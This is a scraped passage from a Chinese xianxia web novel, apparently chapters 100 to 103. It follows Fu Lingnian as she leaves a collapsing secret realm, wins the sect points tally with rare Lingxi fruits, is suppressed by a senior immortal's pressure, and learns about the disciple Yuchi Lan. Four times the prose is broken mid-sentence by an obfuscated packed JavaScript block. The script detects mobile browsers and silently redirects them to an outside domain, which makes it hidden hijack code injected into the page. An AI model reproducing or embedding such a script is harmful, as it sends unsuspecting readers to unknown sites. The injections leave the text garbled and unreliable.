“我不知道。”伏令年眨巴着眼睛,又哭丧个脸:“师兄,你不知道秘境里面有多恐怖。有虫子,还有一些古怪的木偶,会变成真人的模样。” 最后,沈枫泽实在是受不了伏令年的絮絮叨叨,把它丢给了昆仑宗的医修和丹修。 两日后。 伏令年皱着脸喝下一口医修熬制的苦药。 “伏师姐,你放心,我师父说你没有被寄生,主要奔波许久是精血损耗得厉害,只要喝药调息,很快就能恢复了。” 自桃源村一行来,夏悠清还是熟悉的模样。 她修为未达金丹,因而无法进入秘境之中,只是随着众人来到此地,同修士们一同在外观看。 伏令年捏着鼻子,像小时候喝中药一般将药喝干了。 口腔里满是苦涩的味道。 不过,这药生效的也很快。 不多时,伏令年便感到胸口发暖,精神焕发。 “秘境有动静了吗?”伏令年问。 夏悠清摇了摇头。 也就是说,进入迷境的东境北境两支队伍都没有从中出来。 温季才他们还在秘境当中。 越迟离开秘境,危险变更多一分。 伏令年虽不敢确定钥种一定是秘境坍塌的主要原因,但结合系统的提示以及时间来推断,这是最大的可能。 能够支撑一个秘境的存在,定然不是什么凡物。 并蒂圣子想要得到它,最后却被伏令年所获。 所以算不得全然自愿,但伏令年确实是导致这秘境坍塌的“罪魁祸首”。 她和并蒂圣子成了共犯。 这也是为何她故意透露出蛊虫异动,却未提半分并蒂圣子的缘由。 毕竟若是各派长者们问起,伏令年又能从哪儿再给他们一个钥种呢。 她在赌,她不去提及,并蒂圣子也不会在众人面前提及此事。 然而,若是由于秘境坍塌导致温季才他们困在秘境当中,伏令年无法原谅自己。 但这个时候,她已经有心无力。 熟悉又陌生的无力感侵蚀着伏令年的心脏。 自从修仙以后,她几乎很少在体会到这种感觉。但回想过去似乎有很多次有这种感受。 又一日过去。 秘境中的法则全然混乱,四境在协商是否要派出强大的长老或弟子入内营救受困弟子。 原先之所以限制元婴期大圆满及以上的修士不能入内,是担忧秘境无法承受。 然而,如今秘境即将坍塌,多少名优秀弟子可能会死在其中,已无需再顾虑种种。 最终在临近秘境坍塌还有三日之时,秘境出口终于再次产生了动静。 晏扶摇的身影从中浮现。 伏令年确信自己在同一时刻听见了许多位修士的松气声。 也是,那可是年轻一代最为出类拔萃的晏扶摇。 晏扶摇与伏令年初见的模样似乎没有什么区别。衣着依旧是一尘不染,表情冷淡。 不过她的面色还是显出了几分苍白。 在秘境的威压之下,再天资卓越的修士也得退避三分。 然而,令众人震惊的是。随着晏扶摇鱼贯而出的并不是北境的修士——准确来说并不只是北境的修士。 东境的修士亦在其中。 虽未明说,但北境的万剑宗与东境昆仑宗不对付已久,这已是众人心知肚明的 伏令年在人群中找寻着熟悉的身影。 在一片混乱中,她穿行而去。 杜钟毓从半空中跌落,就在她以为自己要重重摔倒在地上之时,身下有人接住了她。 那人的臂膀很有力量,将她稳稳地托在怀里。鼻尖闻到一股苦涩的药香味。 杜钟毓小心翼翼地睁开眼睛,她先是愣了两秒,随即发出一声尖叫。 “小年!你没事…”声音逐渐变得低哑,杜钟毓忍不住哽咽起来。 连带着担忧和恐惧,以及劫后余生的喜悦,一同在她的喉间流转,最终化为低声的啜泣。 然而,她的情绪没能持续多久。 杜钟毓感觉有什么东西探进了自己的衣服当中,在她胸口摸索着。 杜钟毓:? 她猛地从伏令年的怀中跳了下来,瞪着泪眼朦胧的双眼。 刚刚她是不是被非礼了?! 然而,没等她质问出口,伏令年便上前拥抱了她一下:“先回宗门,有什么事以后再说。” 她脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886337|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情太过正常,话语太过正气,让杜钟毓怀疑刚刚的一切都是她自己的幻想。 于是,就这样。 伏令年找到了所有小伙伴,并在他们惊喜交加之中偷偷摸摸(光明正大)地摸了他们的胸口。 其中,从承言反应最快,高墨贤反应最大,阿九毫无反应。温季才…温季才他比伏令年还变态,猜出伏令年想要做什么的时候,他便成了帮凶。 他们都没有被寄生,起码,未被这种蛊虫寄生。 伏令年心里有了定论。 指尖的小道伤口在修士过人的体质下以肉眼可见的速度愈合。期间,伏令年眸光不经意似的扫视四周。 四周满是刚刚劫后余生的修士,他们脸上或是惊喜,或是惶恐,似乎没有什么不对的。 离开了能够为所欲为的迷境,便隐匿起来了吗。 伏令年在心中暗想。 两日后,秘境彻底关闭。比先前预料的还要提早了几日。 如此意外之下,四境大会的进行也受到了些许影响。 由于秘境的提前关闭,许多积分的统计都有错误。 积分的统计大致有两部分,一部分是斩杀妖兽获取晶核所得积分,另一部分则是于秘境中采得的各种珍奇异宝。 修士们可以选择自行分配或是上缴兑换成积分。 因此,在离开秘境之前,修士们通常会进行这一部分事物的处理。 不过,由于秘境的提前关闭和古怪波动,这一阶段也无法在秘境内完成。 因此,经过商议,决定于第二日进行最后的清点。 翌日,大殿寂静。 位于座首的依旧是南境的东道主代表,武丹卿。然而,令人意外的是,娄烨却不在此处。 合欢宗的代表是另一位长老。 各境到位,武丹卿挥手,大殿中央立即出现了一面雨水影幕类似的事物。 不过,它的作用并非传送影像。 四境大会过后,各个参赛时的身法铭牌便被回收统计。 此时,显示在上方的,是各境的总积分。 人群立即出现了些许骚动。 位于第一的,不是一向被看好的北境,而是东境。 两者相差的积分很近。 “哼。”北境的长老哼笑一声:“若不是秘境提前关闭,怎会出现如此可笑的状况。” “怎么,秘境关闭了是我们东境干的吗?不服输还唧唧歪歪。”东境地长老怼了回去。 伏令年听着一阵心虚。 “最后还未清点,鹿死谁手还未可知呢。”北境的另一位长老挑眉,不屑地注视着东境的长老:“你们也惯是会跟在后方坐收渔翁之利了…盗取别人的东西,小心被当成过街老鼠。” 这话着实难听,意有所指。 东境长老正要怒气冲冲地争辩之时,另一道声音传来。 那声音不大,却很清晰。 “露丝水手…” “鹿死——谁手。” “剁手渔翁之利。” “是坐收渔翁之利,阿九。” 东境长老:“…” 刚刚的怒气突然消失了。 他哼笑一声:“说话文邹邹的。” 北境长老:? 不知道为什么,很想发火。 101. 决出胜负 初步积分统计过后,便是积分清点。 各境可交出从秘境内获取的珍宝以换取积分。 而这些珍奇异宝将会转由四境共同所有,可用于拍卖或是使用。 也因此,四境大会才能在修仙界掀起极大热潮。对于散修与各修仙世家而言,这正是广纳珍宝的好时机。 青鸢阁作为横跨四境的大商会,自然是拍卖会的主心骨。 不过,这一切都要在四境大会结束以后再谈。 首先清点的是东道主南境。 对于南境,伏令年印象最深的便是那对并蒂圣子。 不过,负责清点的弟子却是个生面孔。 按常理而言,各境在本境秘境中优势较大。尤其是这仿若雨林的万霭之幽,毒虫蛇蚁极多,善于炼蛊制毒的南境自是占尽优势。 然而,南境的收获却只能说是中规中矩。 紧接着便是积分最低的西境。 伏令年这一行来几乎没碰上过西境的弟子,自是较为陌生。 西境以后,便是北境。 北境的负责人倒是个熟人。 万剑宗的云鹤生。 伏令年不清楚云鹤生具体是个什么身份,他修为不算高,未达元婴。在万剑宗内却算得上领头者。 随着北境提交的珍奇展露在众人面前,原本静默的人群顿时产生了轻微的异动。 “这是…?” 随着镌刻着特殊符文的长盒打开,一股幽冷的气息从内奔涌而出,霎时间便弥散至全场。 体内金丹自行运转,驱逐抵御那如附骨之蛆般的寒意。 这时,大殿内有光华流转,似是启动了什么阵法。 那股幽冷阴寒的气息在阵法的作用下收拢,只环绕在一个小的范围内。 而这散发出阴寒气息的,是一段白骨。 不是一节,而是一段。段段相连,节节相扣,似是长蛇的尾巴,尾端却如蝎钩般弯起。 这白骨约莫有小臂长短,两个拳头并行之粗。通体灰蒙蒙的,似将腐败。唯有中段泛着白玉色泽,晶莹剔透,仿如水流荡漾。 云鹤生的声音响起,讲述着这白骨的由来:“这是晏师姐在元婴期妖兽身上取得的灵蛇尾骨,具有冰寒蚀毒的特性,可用于煅制法器。” 修仙者,亦或是妖修、妖兽,行至元婴期,身体都已半步脱离凡俗。 一些元婴期妖兽身上,会产出类似于灵骨的事物。不过,那也是极小的概率。 有时是骨骼,有时是某些部位的血肉皮毛。总之,它们是煅制法器极为珍惜的材料。 由于秘境意外关闭,弟子们来不及进行更多探索。这样的事物,的确可以谈得上是珍奇之最了。 其余境几乎不可能拿得出比这更为珍奇的事物。 这应当是那巴鳞蛇的尾骨。 晏扶摇在迷境内两境对峙之际消失过一段时间,恐怕就是那时候,她取得了灵骨。 如此看来,她当真是个修为极高,又对自身极其自信之人。 修士们低声讨论,有这灵骨在,这首位恐怕要被北境拿下了。 只需这一样事物,北境便遥遥领先。 他们对此物很有自信,未再上交其余事物。 东境最后一个上场。 负责的弟子是许子迁。 从进入秘境到秘境关闭,东境只遇见过一次元婴期妖兽。便是那迷境中的巴鳞蛇,随后便被古怪的虫豸赶着东奔西走。 也是由于得到了那元婴期晶核,先前的积分才能领先。 东境上交的是丹修医修们沿路采集的各种珍奇灵植与妖兽血肉,然而,这些与那灵骨相比是远远不够的。 见此情形,胜负似乎已然抉出。 然而,一群意料之外的人却在此时拥到了中央。 “这是做什么?”看着突然跑到中央的几个小弟子,一些长老皱眉。 夏悠清下意识想推推身旁的伏令年,却摸了个空。 “师姐?” 她迷茫地将视线转到大殿中央。 北境长老们看到跑到大殿中央的一群小弟子,莫名觉得其中的几张面孔好生眼熟。 有些不好的预感。 “你们这是做什么?” 有长老呵斥道:“这是你们该胡闹的地方吗?” 然而,那群不知天高地厚的弟子显然未感到丝毫悔改。 “冤枉啊!”其中一人说道。 “我们只是来上交东西的。”另一个接口。 “没规定只能有一人上交吧。”第三人道。 若是四境大会正常进行,便不会有在秘境外清点积分的环节。 自然,这个临时的环节较为随意。只要求各境按照先后顺序上场上交珍奇,一经确认后不可悔改。 派单个代表人,则是各自不约而同的选择。既不易造成混乱,也是各位代表弟子身份的表征。 同时,又因为各境大多弟子在秘境中都是共同行动,少有像伏令年一行人这样全程游离在外,收获却异常丰厚的弟子。 许子迁蓝眸低垂,看了眼跑上来的一群小弟子,又不做声色地看了眼身处高座的昆仑宗宗主。 今日是第一场四境大会决出胜负的日子。 因而,各境的宗主门主几乎都在场。 北境众人心中不好的预感愈发强烈,在外头观看全程的修士也认出了这几张熟悉的面孔——不正是偷鸡摸狗潜入北境的那群东境弟子吗? 仇人见面分外眼红,云鹤生自是一眼便认出了伏令年一行人。 “许道友。”他恶狠狠地瞪着打开储物空间准备往外头掏东西的伏令年:“你们东境的弟子便是如此不懂规矩吗?” 许子迁没吭声,竟是默许了伏令年几人的行为。 他此时也有了不好的预感,更是未想到被阵法劫走的伏令年居然能依靠自己逃出秘境。 殿内的讨论声大了起来,然而,确实没有任何一条规定能将伏令年几人赶下来。 打开储物空间,伏令年在里头扒拉了半晌,最终取出了一个已经歪扁的炼丹炉,上面甚至还沾染着丝丝斑驳的血迹。 “你抢劫丹修啦?”温季才在一旁小声吐槽。 “捡的。”伏令年说着实话。 随着叮铃哐当之声,一堆事物紧接着落如炼丹炉中。有断掉的剑,破损的法器,各种各样一看就不属于伏令年本身的东西。 温季才的眼神更加怀疑。 “捡的?”他重复一遍。 还未等其余人露出或好奇或讥讽的神色,一颗椭圆状的事物从储物空间内掉了出来。 云鹤生的脸色更加阴沉:“灵犀果。” 椭圆形,表皮泛着青蓝色的光泽。正是灵犀果,却又不是灵犀果。 伏令年的动作也因此顿了顿,第五个灵犀果落下时,便收了手。 伏令年侧过头,看向同伴们。 当初为了方便携带,他们将果实摘下后,便各自分开携带了部分。 温季才几人将各自储物空间内的灵犀果倒出,椭圆状的果实,除了高墨贤带着的还保持生机,其余大多已失去了先前的光泽,表皮亦生出道道褶皱,看着已失去了大部分水分。 储物空间虽能储物,却难以长时间保留灵植的灵气。 更不用提像灵犀果般珍贵的灵植,若不使用特殊的方式储存,很快便会尽失灵气。 因此,丹修们在获得珍贵灵植时,都会选择将其炼化为丹药便于储存。 只是秘境一行匆忙,又有水影幕传递画面,伏令年没机会炼制。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938972|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杜钟毓看着自己怀里干巴的灵犀果,又看看伏令年身前饱满晶莹的灵犀果,瞪大了双眸。 将灵犀果投入中央的巨鼎中,水影幕上的积分立即开始跳动。 伏令年手中的每一颗灵犀果都会让积分向上跃动一大截。 灵犀木和灵犀果皆是万霭之幽独有的灵植,可制解毒丹解百毒,亦可用于淬炼法器。珍贵程度不是寻常灵植可比拟的。 北境与东境的积分差距在以肉眼可见的速度缩小。 五颗灵犀果投尽,东境的积分已直追北境。 见到伏令年停下动作,旁观之人或是松了口气,或是心下遗憾。 伏令年皱着眉,继续在储物空间中摸索着,又掏出两把断刀。见此情形,杜钟毓低声安慰道:“没事,我们也尽力……”话音未落,就见伏令年抖了抖储物空间,又抖落了几个装着妖兽血肉精华白玉瓶和三颗灵犀果。 它们同样晶莹剔透,莹光流转。 三个灵犀果入内,东境与北境比分近乎持平。 大殿内鸦雀无声,所有人的视线都落在伏令年身上。 伏令年再次将手伸入储物空间中扒拉了一阵。 ——掏出了一把长剑。 伏令年刚想把剑丢在一旁,忽觉得有几分熟悉。 细细回想,顿时忆其这是大师兄先前在她被心结困扰时赠予她的剑。 伏令年急忙将剑又塞了回去,她仿佛能感受到沈枫泽能够杀人的目光扫了过来。 实在不是伏令年故意拖沓。 她身上没多少灵石,买的储物空间较小,也只有储物的功能。 需要什么东西,只能在里头翻找。 一路逃亡,有重要的东西便往里头塞,自然是乱七八糟。 于是,在场之人便看着伏令年不紧不慢的从储物空间内取出了各种破铜烂铁,甚至还有北境弟子的服饰。 最终,一颗灵犀果出现在她手中。 只要将灵犀果投入其中,东境的积分便能赶超北境。 伏令年举起灵犀果,就在她将要将其投入鼎内之时,一股威压却先一步将她笼罩于内。 伏令年脑海先是一片空白,紧接着,身体便剧烈颤抖起来。在须臾之间,已是浑身冷汗。 她膝头一软,险些跪倒在地上,灵犀果也从掌心滑落。 它并未摔落在地上,在空中转了个弯,却是落入了云鹤生手中。 云鹤生此时也顾不得瞪伏令年,他神情恭敬地望向北境主座的方位。 有人来到她身旁,替她承受住了部分威压。 “万叶仙尊,这是何意?” “三两小儿,如何能在这万霭之幽中取出这些百年灵犀果?灵犀果一年生,一年落,百中取十果保留。而这百年灵犀果,千果中亦不见十颗。” 伏令年脑海昏沉,听不清外头的声音。 刚刚的威压,甚至让她神魂都出现了动荡。 就是元婴期妖兽,也做不到此。 可见,那必然是更强的修士。 出窍?合体?甚至是炼虚? 伏令年不知道。 神识海流淌着,有什么东西自然而然地流淌过伏令年“眼前”。 仿佛是心声一般,伏令年听见了一道声音。 就像是她平常在内心自语一般。 但她确信这不是她自己所想。 【这么多年了,他怎么还是这个德性。欺负年轻人,不讲武德\(;?□`)/】 伏令年眨了眨眼睛,她觉得自己的脑子有些迟钝。 这是什么情况?难不成… 【没错,你猜对了。就是这样。】 那道声音继续嘟嘟囔囔。 难道…? 【我是你的系统啊,是不是很惊喜!】 102. 劫雷降临 不太惊喜,惊吓倒是有的。 伏令年总算是缓过劲来,对于系统真的“活”过来一事,她竟不感到太吃惊。 先前种种意象,都让她有了些预感。 耳边的嗡鸣声变小,伏令年缓缓撑着身体想要站起,却一时难以做到。 她望向施展威压之人的声音所在处——这并不难找,因为近乎所有人都看着那个方向。 伏令年看不清那道身影,似忽然之间起了大雾,朦胧之中,一道迷糊的人影盘坐于半空。 这时,一只手从云雾中探了出来。 只轻轻摇晃一下,云鹤生双手托着的灵犀果便落入那只手中。 灵犀果在那人手中盘旋了一瞬,仿佛野草被点燃,骤然腾起一团青蓝色的焰流。 灵犀果在这样的焰流中熔解,化为一潭清流,最终没入其掌心。 威压依旧隐隐笼罩在伏令年上方,两者差距如鸿沟,让她连反抗的心思都难以生起。 于众目睽睽之下行此欺小之事,可谓霸道。 就在这时,金丹在体内疯狂运转,灵力化作支撑的力量,推着伏令年撑起身体。 然而,威压却再度加重,金丹运行到了极致,近乎不堪重负。 伏令年眼前再度昏花,汗水不断从额角溢出。 进退两难。 若放弃抵抗,她身体难免受损。若咬牙坚持,恐怕也是以卵击石,甚至可能自毁修为 【哇…这个画面!】 在这样一个紧张地时刻,系统却还在神识海内吱哇乱叫。 【这不就是传说中的废柴逆袭剧本吗?撑住啊宿主!】 撑住?这是说说就能做到的吗? 伏令年已经尝到了舌尖的铁锈味,不知是不慎咬破了嘴唇,还是肺腑受伤所致。 【加油!宿主!加油!宿主!】 伏令年:…… 好累,好想直接倒下。 她自忖自己有些血性,但不多。 在这种状况下,躺是伤硬抗也是伤。她又不是废柴逆袭文里的主角,没有主角的运道,何必在这种非必要的状况下拼死硬抗。 这位仙尊众目睽睽之下对伏令年出手,就算她遨月峰弟子的身份再不受待见,昆仑宗也不可能置之不顾。 威压凝如实质,宛若一柄达摩克里斯之剑悬于伏令年的上方。肌肤传来密密麻麻的刺痛感,像被无数道剑气划过。 不知是不是这威压中蕴含着的剑意影响,一直静静蛰伏在体内的归年忽有异动。 伏令年胸口升起一团暖意,似有焰火要自咽喉处涌出。 她被压制得无法动弹,威压的主人很巧妙地将威压集中在她的身上,此时,就是身为元婴期修士的许子迁也无法分担。 事情发生得很突然,只是几个呼吸之间,灵犀果脱手,伏令年也被压在地上爬不起来。 人群安静了一瞬,一柄巨剑破空而出。 巨剑没有停留,直接朝着那被尊称为万叶仙尊的手臂劈去。 模糊的云雾中,又有一只手探出。 五指张开,轻微收拢。 明明面对巨剑利刃,却像是抓住一片落叶般轻盈。 没有声响,巨剑停滞在那人的掌心中,却难得寸近。 下一刻,巨剑从尖端起寸寸崩碎。 “嗯?” 万叶仙尊的声音淹没在巨大的轰鸣声中。 崩裂的碎片中,长剑的原貌展露在众人面前。 剑身如墨沁血,如幻似真。 它自漫天碎屑中传出,穿透万叶仙尊的掌心,没入模糊的云雾之中。 没有血肉,没有声响。 长剑从云雾的另一段穿出,万叶仙尊先前被斩断的手臂依旧完好无损。 划过一道弧线,长剑回到了它主人的手中。 “无知小儿,不过出窍,便如此猖狂。” 万叶仙尊冷哼一声,似怒似笑。 “便是你师父见了我,也得称我一声前辈。” 沈枫泽表情淡漠,长剑在右手中微微颤动。 “手滑了。”他毫无说服力地道。 “这血枫剑,竟到了你手中。” 万叶仙尊似想再说些什么,声音却微顿。 大殿中央,原就是众人瞩目之地。 异变发生,自然引人注目。 长剑显露真容,“斩断”万叶仙尊手臂的那一刻。原本半跪在地上的伏令年身上骤然亮起光芒,隐隐有灵气聚集之意。 伏令年借助小师叔项链修行,初步对剑意有所领会。 受剑意所迫,归年自有触动。 然而,她此时却并不好受。 佩剑有灵,剑气迸发。 它有与敌人争锋之意,伏令年却没有那么坚韧的身体。 体内血肉筋骨似乎都要被凌冽的剑意撕裂,内外相迫,让她几乎喘不过气来。 外头的人不知伏令年此时发生了什么,万剑宗与昆仑宗之间早便暗流涌动。作为最负盛名的剑宗门派,两者自是要在这四境大会中分个高低。 他们只当伏令年这小修士古灵精怪,又运气不好,便被万剑宗的仙尊借此时机刁难敲打。 却不想她似乎有些本事,竟在这种情况下有所顿悟。 只见她周身有剑意涌动,似有爆发之意。 “这是…?”杜钟毓紧张地攥住了阿九的衣袖。 伏令年难道要在此时突破了? 在场之人各自心怀鬼胎,昆仑宗自是期待,其余宗门门派则面色各异。 然而,众人所想的都未发生。 伏令年突然失去支撑,普通一声倒在了地上。 十分干脆利落,似是突然睡着了一般。 她竟直接放弃了抵抗。 系统在一旁叽里呱啦吵的很,但也让伏令年知道了一些事情。 这万叶仙尊的来头比伏令年开始想象的还要大,这并不怪她想象力缺失,实在是她无法想象,一个辈分相当于师父那一辈的仙尊居然会对她这个小弟子下手。 据系统所知,万叶仙尊修为必在出窍之上。 练气、筑基、金丹、元婴、出窍、合体、炼虚,最后便是渡劫飞升。 万叶仙尊的目的不是杀了伏令年,否则在最开始,伏令年便会被迫得七窍流血,修为尽失。 想通这一点,伏令年做了个大胆的决定。 转攻为守,护住心脉,稳定神魂,然后直接摆烂。 果然,她倒下以后,那重重威压反而停滞,不若先前那仿佛要将伏令年碾碎之感。 伏令年动了动,换了个躺得更舒服的姿势。 不知何时,天际已被黑云笼罩。 一团团雷云遮天蔽日,宛若末日来临。 伏令年周身一轻,她睁开双眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959328|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到的便是这一幕。 沈枫泽已不再站立着与万叶仙尊对峙,他已盘腿坐下,血墨长剑便屹立在身旁。 他周围已空了一片,大殿内有传送法阵,修士可借此撤离。 这样的场景他们再熟悉不过。 突破劫雷。 沈枫泽要突破了。 元婴期大圆满到出窍。 这是修仙一途尤为关键的阶段。 此次突破,神魂便彻底脱离肉体凡胎。 神魂出窍,飞升之基。 许子迁反应极快,侧身想将“昏迷”的伏令年带走,却发现她早已没了踪影。 仔细瞧去,刚刚还半死不活的伏令年竟半个人扒在巨鼎上,从储物空间中摸索出了一颗灵犀果,将其一分为二。 便是如许子迁般冷面之人,也不由流露出了无语的神色。 这名为伏令年的弟子平时不着调便算了他似乎永远会在奇怪的时间做奇怪的事情,和那群弟子凑在一起时更甚,这种时刻还在胡闹,真是不要命了! 一半投入巨鼎之中。 积分上涨,略略超出一截。 “还有一半,听说着灵犀果还能用来淬剑,赚了…”伏令年话未说完,便被人提着衣领揪了起来。 熟悉的感觉,不一样的人。 眼前一花,灵力破空。再次落地,已在千里之外。 许是如此距离,也依旧能感受到劫云带来的可怕威压。 不是金丹期和元婴期可比拟的。 “多谢,师兄。”伏令年腿软,一落地便坐在地上,仰头瞧着许子迁。 见他注视着自己手中的半块灵犀果,有些犹豫:“呃…你想尝尝?” 许子迁挪开了视线,过了一会,又看着伏令年:“淬剑?” “是啊。”伏令年如今已不是当年那个穷的叮当响的小弟子,如今只能算是穷得哐当响。但她犹记得当年许子迁“大方”给出的灵石,见着他时难免心虚:“你要吗?” 昆仑峰大师兄还能看上这个? “可以?” “师兄看不上便…啊?”伏令年和许子迁面面相觑。 当穿过阵法寻到伏令年之时,温季才几人便瞧见许子迁默默用灵犀果汁液擦剑的场景。 灵犀果灵力散失极快,一分为二的更是。 伏令年眼巴巴地瞧着许子迁擦剑:“师兄,我能问个问题吗?” 许子迁还是那副神情,伏令年却莫名感觉他心情似乎不错。 伏令年环顾四周,高墨贤很有眼色地用了一张隔音符。 “您知道尉迟阑吗?” 许子迁的手顿住了。 他抬起眼眸,视线划过不知何时聚集起来的六张面孔。 “你们问他做什么?” “我在木延街市遇见过他。”伏令年解释道。 这似乎不是探究此事的好时机,但能与许子迁如此面对面交谈的机会难得,伏令年想不到还能从何人了解尉迟阑的身份。 许子迁沉默半晌,视线落在杜钟毓面上,蹙了蹙眉头。 蓝眸冰冷,面无表情,着实有些骇人。 杜钟毓立即摆手:“我是星机阁的,我什么都不知道。” 许子迁:…… 什么都不知道,你们还围在这里做甚?这一个个期待的小眼神,不知道的还以为他是在发灵瓜的青叶峰弟子呢! 103. 尉迟旧事 吃人嘴软,拿人手短。 许子迁最后还是告诉了伏令年有关尉迟阑的部分事情。 但很显然,他话未说尽。 便如先前打探到的消息所说,尉迟阑曾是昆仑峰的弟子。 他幼时,所住的村庄在一场瘟疫中被毁。他和几位拥有灵根的孩子侥幸存活,被当初前往援助的东境修仙者救下。 “东境修仙者?”而不单单是昆仑宗弟子。 许子迁颔首,解释道:“那时瘟疫于东境横行,百药谷的弟子也同在。” 伏令年皱眉思索起来,尉迟阑年纪看着不大,也就是说,在疫病横行之时,她也还未进入昆仑宗。 “我记得此事。”高墨贤突然道:“我三岁那年,听家中长辈说过此事。据说那疫病来得古怪,爆发得突然,且同样会影响修仙者,金兰街市也因此关闭的一年有余。” 东境内有三大数得上名号的宗门。 为了便于管理,自然而然又划分为三个区域。 不过,各宗擅长皆有所不同。合作也并不少见。 金兰街市地界特殊,位于昆仑宗与百药谷所处范围交界处,再往西北方延伸,便是北境。 因此,金兰街市远比木延街市来得繁华热闹。 尉迟阑年纪虽小,天赋却卓绝。刚进宗门,便成了准内门弟子。通过考核后,很快变成为了内门弟子。 许子迁那时已是昆仑峰的大师兄,多少会留意着手底下天赋不错的弟子。 有天赋,性子却过于执拗阴郁。 这是他对尉迟阑的印象。 尉迟阑在昆仑峰过的并不愉快。 他是一个受不了半分屈辱的性子,又敏感多疑。很快便与峰内的许多弟子产生摩擦。 修仙一途,大多从幼年起便开始。性子尚且幼稚的孩童们有拳脚上的摩擦十分正常。 但尉迟阑不同。 他瑕眦必报,与他争锋相对之人,多数都会落得一个惨痛的下场。尤其在他晋升筑基以后,更为明显。 面对师门训诫,尉迟阑却变本加厉。 在一次任务中,他害死了一名弟子,最终被宗主亲手废去修为,罚为杂役弟子。 许子迁没有详说那害死弟子的具体事件,他用眼神告诉伏令年,这不是他们该打探的。 伏令年很识相的没去细究。 沈枫泽的突破让一切都潦草地画上了终止号。 东境获得了胜利,但这显然不让人信服,尤其是北境。 下一场大会便在北境举行,所有的北境弟子似乎都摩拳擦掌,要在秘境中给东境一些教训。 三周后。 伏令年从入定中醒来。 在秘境内奔波这么久,她体内早便落下了大大小小的暗疾。趁着下一场大会还未开始,自然要闭关休整。 除此之外,在她身上发生的异变太多了,掰着指头都数不过来。 系统“活了”,体内多了一条水灵根,万霭之幽中珍贵的钥种疑似在她体内,使用了改名卡后似乎有了全新变化的归年……这些都是问题。 更重要的是,伏令年发现神识海内的植株又有了新的变化。 它已不再是一颗幼树的模样。 不知不觉间,它伸展的纸条已占据了神识海的一小块空间。枝干足有一人合抱之粗。 除去光秃秃只有几片叶子的纸条外,已然有了树形。 而那光溜溜的枝干上,挂着一颗雾蓝色的果实。 用神识触碰,果实半透明的外皮轻轻凹陷,内里的液体缓缓流淌。 伏令年有一种直觉,这应当与那钥种有关。 用了一周修复体内的暗伤,伏令年转而开始探究归年的变化。 归年还是原本白玉剑时的模样,通体玉色,入手透着沁人的冰凉。 但今非昔比。 使用了改名卡后,伏令年隐隐觉得自己似乎与归年产生了一丝说不清道不明的联系。 原本的白玉剑于伏令年而言,是一把十分好用的武器。如今的归年却更似她的肢体,可随着她心意而动。 伏令年甚至隐隐觉得,她能操纵归年化为不同的形态,亦能远程操纵归年施行剑招。 归年陪着伏令年行了这么长的路,她自然能察觉出归年的不凡之处。 归年从何而来? 伏令年记得,她首次踏入师父沈聿泽的浮空小岛时,被他拉着讲了一个关于二丫的故事。随后,他又以伏令年误闯禁地为由,给了她一块玉牌,让她凭借那块有储物功能的玉牌定期到浮空岛清洁打扫。 而归年便是从里头而来。 在桃源村一事中,归年第一次发生异变,变成了白玉剑的模样。于此同时,归年与伏令年的都神魂相融,可被她召唤驱使。 这么说,这归年算得上是沈聿泽给的。 这么多年来,沈聿泽从没提过此事,伏令年也没有主动提及。 她其实有在内心中二地默默猜测过,自己是不是根骨奇特,沈聿泽早便看上了她这个人才,提前给她送来了归年当收徒礼。 越想越有些道理,但伏令年着实不觉得自己是个什么人才。 按常理来说,小说主角遇见被前辈威压压制,应当有一段漂亮的反杀才对。 但她真做不到,只能躺在地上当一条咸鱼。 熟悉了归年新的特性和新出现的水灵根以后,便已是三周后了。 对于伏令年而言,更好的选择是长时间闭关,体悟在秘境内的所悟所得。 但下一场四境大会并不待人。 不久后,他们便要启程前往北境参与下一场大会。 不过,伏令年今日出关另有要事。 她熟门熟路进了青叶峰,找到了夏悠清,软磨硬泡跟她低价收购了些灵田里种的灵瓜灵果。 这也是她在宗里乱蹿打工时知晓的。 一些丹修药修在培养灵植时会顺道在空档处栽种些普通瓜果,它们受浓郁的灵气滋养,自然而然会发生些许变变化。 与凡物不同,这种灵瓜灵果内没有凡间杂质。修仙者使用后不仅无需担心影响修行,还能滋补气血,清除郁火。 如此,既提高了灵田的利用率,亦不用担心多种灵植互相争夺养分。 对了——说回重要的事情。 她今天得去探望一下大师兄,人情世故,自然要待些瓜果。 沈枫泽成功度过雷劫晋升了。 但他依旧需要闭关稳固修为。 元婴到出窍的跨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 